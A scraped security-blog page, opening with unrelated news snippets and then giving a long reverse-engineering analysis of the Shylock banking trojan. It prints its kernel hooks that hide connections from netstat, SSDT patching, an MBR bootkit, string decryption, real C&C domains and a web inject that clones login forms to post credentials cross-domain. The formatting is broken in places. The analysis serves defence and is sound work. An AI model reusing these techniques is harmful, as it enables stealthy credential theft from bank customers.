It has been reported in the media that several South Korean banks and local broadcasting organizations have been impacted by a cyber attack.
The attack included the defacement of a Korean ISP/telecoms provider and also the crippling of servers belonging to a number of organizations.
Continuing on part 2 of "Deconstructing Defensible" this blog post is dedicated to those who attempt to secure the entirety of their enterprise assets with security widgets, and are struggling. One of the fundamental laws of the new way of thinking is that you can't defend everything equally, or you'll fail at defense completely...
In recent days, the European Union (EU) financial crisis has taken a dramatic turn. Cyprus, one of the EU's smallest member states by population, announced plans to impose a one-off levy of up to 10 percent on ordinary bank deposits. Banks across the island state have been closed while the unprecedented measures are debated in the country's parliament.
EnableLUA = 0x00000000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
IRP_MJ_DEVICE_CONTROL
dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL
dispatch routine within TCP driver.netstat
- a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat
tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.netstat
is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP
-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N
from the list is made by rewriting its contents with the contents of the element N+1
, and then decrementing the total number of list elements by 1
. As a result, the list of enumerated connections that is returned by netstat
will never contain any active connections that are held by Shylock's user-mode components.if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
{
RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
status = IoGetDeviceObjectPointer(&uniTcpDevice,
1u,
&FileObject,
&DeviceObject); // return device object
status2 = status;
if (status >= 0) // if status is OK
{
driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;
replace_original_IRP: // swap original pointer with the hook
_InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
hook_IRP_MJ_DEVICE_CONTROL);
return 0;
}
return 0;
}
exit:
ms_exc.disabled = -1;
return status;
}
RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName,
64,
0,
0,
IoDriverObjectType,
0,
0,
&pNsiDrvObj); // get driver object
status2 = status;
if (status < 0)
{
goto exit;
}
IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
// MajorFunction[IRP_MJ_DEVICE_CONTROL]
fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
goto replace_original_IRP; // get the hooked DeviceIoControl,
// and swap it with the original one
}
+0x70
offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL]
within the driver object.#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
..
typedef struct _DRIVER_OBJECT {
/* 2 */ CSHORT Type; // offset = 0x00
/* 2 */ CSHORT Size; // offset = 0x02
/* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
/* 4 */ ULONG Flags; // offset = 0x08
/* 4 */ PVOID DriverStart; // offset = 0x0c
/* 4 */ ULONG DriverSize; // offset = 0x10
/* 4 */ PVOID DriverSection; // offset = 0x14
/* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
/* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
/* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
/* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
/* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
/* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
/* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
/* 4 */ PDRIVER_DISPATCH
MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
} DRIVER_OBJECT;
MajorFunction
list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c
elements, and its offset in the structure is 0x38
. To find out what dispatch routine is references by the offset 0x70
, the offset 0x70
needs to be subtracted with 0x38
(list's offset within the structure), and divided by 4
(size of each pointer within the list):(0x70 - 0x38) / 4 = 0x0e
15
th (0x0e
) element of the dispatch routines is declared as:#define IRP_MJ_DEVICE_CONTROL 0x0e
netstat
.N
-th TCP entry with the TCP entry N+1
(TcpEntry[i]
<- data-blogger-escaped-code="">TcpEntry[i+1]):139
(or 0x8B00
after applying htons() to it). As a result, any connections that involve port 139
disappear from the netstat
output:IRP
hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL
dispatch routines of Tcp
and Nsi Proxy
drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:KeServiceDescriptorTable
patching is surrounded with a conventional cli
/sti
blocks: the cli
-block disables interrupts and removes the write protection, the sti
-block restores everything back:.text:000130AC cli ; disable interrupts
.text:000130AD mov eax, cr0 ; get CR0
.text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
; allows supervisor-level procedures
; to write into read-only pages
.text:000130B5 mov cr0, eax ; save it back into CR0
.text:000130B8 mov eax, KeServiceDescriptorTable
.text:000130BD mov eax, [eax]
.text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
.text:000130C6 mov eax, KeServiceDescriptorTable
.text:000130CB mov eax, [eax]
.text:000130CD mov ecx, [ebp+var_14]
.text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
.text:000130D7 mov eax, KeServiceDescriptorTable
.text:000130DC mov eax, [eax]
.text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
.text:000130E5 mov eax, KeServiceDescriptorTable
.text:000130EA mov eax, [eax]
.text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile
.text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
.text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
; writing into read-only pages;
.text:000130FB mov cr0, eax ; save it back into CR0
.text:000130FE sti ; allow interrupts
hook_ZwQuerySystemInformation
is handling those ZwQuerySystemInformation()
calls that query for SystemProcessInformation
type of system information, and is basically a rip-off of Greg Hoglund's process hider.Skype Control API
that uses window messages for communication with Skype.SkypeControlAPIDiscover
message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach
message.Control API
by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow
, second is Deny
. Next, it will attempt to send a click to the Allow button in order to trick Skype into accepting it as a client:main.db
file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.netstat
any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.C:\GRLDR
C:\XELDZ
FlashPlayerUpdate = %PATH_TO_BOOTKIT%
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
\\.\PhysicalDrive0
DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)
.55AA
- a signature that identifies a bootable drive..text:004024E9 xor ebx, ebx ; EBX is 0
...
.text:0040255E push ebx ; dwMoveMethod = 0
.text:0040255F push ebx ; lpDistanceToMoveHigh = 0
.text:00402560 push ebx ; lDistanceToMove = 0
.text:00402561 push edi ; hFile
.text:00402562 call ds:SetFilePointer ; set pointer at offset 0
.text:00402568 push ebx ; lpOverlapped
.text:00402569 lea eax, [ebp+NumberOfBytesRead]
.text:0040256C push eax ; lpNumberOfBytesRead
.text:0040256D push 512 ; nNumberOfBytesToRead
.text:00402572 lea eax, [ebp+Buffer]
.text:00402578 push eax ; lpBuffer
.text:00402579 push edi ; hFile
.text:0040257A call ds:ReadFile ; read 512 bytes
.text:00402580 call esi ; GetLastError
.text:00402582 test eax, eax
.text:00402584 jnz next_drive ; if error, skip it
.text:0040258A mov eax, 0AA55h ; compare last 2 bytes
.text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
.text:00402596 jnz short close_handle_next_drive
57
.58
, #59
, #60
, #61
, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end)./c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul
-n
switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.58
, #59
, #60
, #61
into the memory at 0x7E00
that immediately follows the MBR code loaded at address 0x7c00
. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.0x9E000
, that is formed as segment register * 16 +
offset of 0
:0x9E00 << 4 + 0 = 0x9E000
.0x5c
. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57
into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0
.0x10D
till 0x18F
, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT
) #13h
- this interrupt is used to read sectors.INT 13h
hook handler is decoded, the original INT 13h
vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0
:MEM:9E0F0 mov eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
MEM:9E0FF mov word ptr ds:offset_4e, es
MEM:9E103 sti
MEM:9E104 popad
MEM:9E106 pop ds
MEM:9E107 pop sp
MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)
INT 13h
replaced, the original vector stored at ds:offset_4c
will now contain 9E10D
- the address of the INT 13h
hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h
call will eventually be invoked by MBR code - this is when the hook handler will be activated.INT 13H
hook handler is interested in 2 types of INT 13
- normal sector read and an extended one used with the larger disks, as shown below:MEM:9E10D Int13Hook proc far
MEM:9E10D pushf ; handle two types of INT 13 below:
MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E111 jz short Int13Hook_ReadRequest
MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
MEM:9E116 jz short Int13Hook_ReadRequest
MEM:9E118 popf
MEM:9E119
MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
MEM:9E11E
MEM:9E11E Int13Hook_ReadRequest:
MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
MEM:9E123 popf
MEM:9E124 pushf ; push Flags, simulating INT
MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
MEM:9E12A jb short Int13Hook_ret ; quit if failed
MEM:9E12C pushf
MEM:9E12D cli
MEM:9E12E push es
MEM:9E12F pusha
MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
MEM:9E131 INT13LASTFUNCTION:
MEM:9E131 [mov ah, ??] operand, 0 by default
MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E135 jnz short Int13Hook_notextread
MEM:9E137 lodsw
MEM:9E138 lodsw
MEM:9E139 les bx, [si]
MEM:9E13B assume es:nothing
OSLOADER
module (part of NTLDR
) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER
is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.F0 85 F6 74 21 80
, as shown below:MEM:9E149 Int13Hook_scan_loop:
MEM:9E149 repne scasb
MEM:9E14B jnz short Int13Hook_scan_done
MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
MEM:9E155 jnz short Int13Hook_scan_loop
MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
MEM:9E15D jnz short Int13Hook_scan_loop
.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F 8B F0 mov esi, eax
.text:00422A71 85 F6 test esi, esi
.text:00422A73 74 21 jz short loc_46B46
.text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0
OSLOADER
, the kernel patch from the sector #58
is applied to the loader, by directly overwriting its bytes:.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
.text:00422A74 FF D0 call eax ; off_9E233
.text:00422A76 90 nop
.text:00422A77 90 nop
.text:00422A78 90 nop
.text:00422A79 90 nop
.text:00422A7A 90 nop
.text:00422A7B 90 nop
.text:00422A7C 90 nop
.....
off_9E233
points to the code loaded from the sectors #58
-#61
, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER
, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.0x2FE483F3
for an enumerated driver vmscsi.sys
(part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3
, and in case of a match, it quits.GetCommandLineA()
is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E
:DWORD GetHash(char *szApi)
{
DWORD dwHash = 0;
for (DWORD i = 0; i < strlen(szApi); i++)
{
BYTE b = szApi[i];
dwHash ^= b;
__asm
{
ror dwHash, 3
}
if (b == 0)
{
break;
}
}
return dwHash;
}
svchost.exe
and starts a remote thread in it.FIREFOX.EXE
), it will load nss3.dll
and nspr4.dll
. Next, it will place these hooks:IEXPLORE.EXE
), it will load mshtml.dll
and then place following hooks:EXPLORER.EXE
) or system processes USERINIT.EXE
or RUNDLL32.EXE
, then it will hook:user.js
files found in %APPDATA%\Mozilla\Firefox\Profiles
directory, thus manipulating the following security settings of the Firefox browser:security.enable_tls = false
network.http.accept-encoding = ""
secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
security.warn_viewing_mixed.show_once = false
security.warn_submit_insecure = false
security.warn_submit_insecure.show_once = false
%APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys
directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.https://wguards.cc/ping.html
https://hiprotections.su/ping.html
https://iprotections.su/ping.html
/files/hidden7770777.jpg
int iGetEncodedStringLen(DWORD dwKey, char *szString)
{
int iResult;
int iCount;
if (szString)
{
iCount = 0;
if ((BYTE)dwKey ^ *(LPBYTE)szString)
{
do
{
++iCount;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
}
iResult = iCount;
}
else
{
iResult = 0;
}
return iResult;
}
void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
{
char b1;
char b2;
bool bEndOfString;
if (szEncrypted)
{
while (1)
{
b1 = *(LPBYTE)szEncrypted;
b2 = dwKey ^ *(LPBYTE)szEncrypted;
*(LPBYTE)szEncrypted = b2;
if (iFlag == 1)
{
bEndOfString = b2 == 0;
}
else
{
if (iFlag)
{
goto skip_check;
}
bEndOfString = b1 == 0;
}
if (bEndOfString)
{
return;
}
skip_check:
szEncrypted = (char *)szEncrypted + 1;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
}
}
char szTest[] = "\xE7\xEB\xBB\x91" // key
"\x00\x00\x00\x00" // 4 zeroes
"\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
"\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
"\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";
if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
{
DecodeString(szTest + 8, *(DWORD*)szTest, 1);
MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
}
wguards.cc
becomes ei0nciwerq7q8.wguards.cc
.ca5f2abe
' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z=
URL parameter in it, e.g.:http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]
[encrypted_data]
is a result of:url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))
z=
parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe
' string appended and used as a password, then url-unescapes the resulting data which is a plain text.rc4_init()
and rc4_crypt()
, published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:cmpinfo
' data is accompanied with a control sum and a hash to ensure data integrity ('key
' and 'id
'), it shows an installation mode ('master
'), botnet name ('net2
'), command name ('log
'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.svchost.exe
and explorer.exe
and runs a self-termination batch script, thus quitting its 'installation' phase of running.cmd
' (command) parameter set to 'cfg
' (configuration).net=net2&cmd=cfg
', then feed it to the debugged code to calculate the 'key
' and 'id
' parameters for us. The resulting request will be:key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg
https://y85rqmnuemzxu5z.iprotections.su/ping.html
, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe
', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:id
' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391
' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:<hijackcfg> <botnet name="net2"/> <timer_cfg success="1200" fail="1200"/> <timer_log success="600" fail="600"/> <timer_ping success="1200" fail="1200"/> <urls_server> <url_server url="https://protections.cc/ping.html"/> <url_server url="https://eprotections.su/ping.html"/> <url_server url="https://iprotections.su/ping.html"/> </urls_server>
... and so on The XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject
' parameter specified as:<httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.
style="display:none;"In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's
.clone()
command:var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');The screenshot below shows the result of such cloning:
jQuery(this).hide();Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with
jQuery('#usr_password').val(lvltxt.pwd);
jQuery('.login-button:first').find('div').click();
XDomainRequest()
).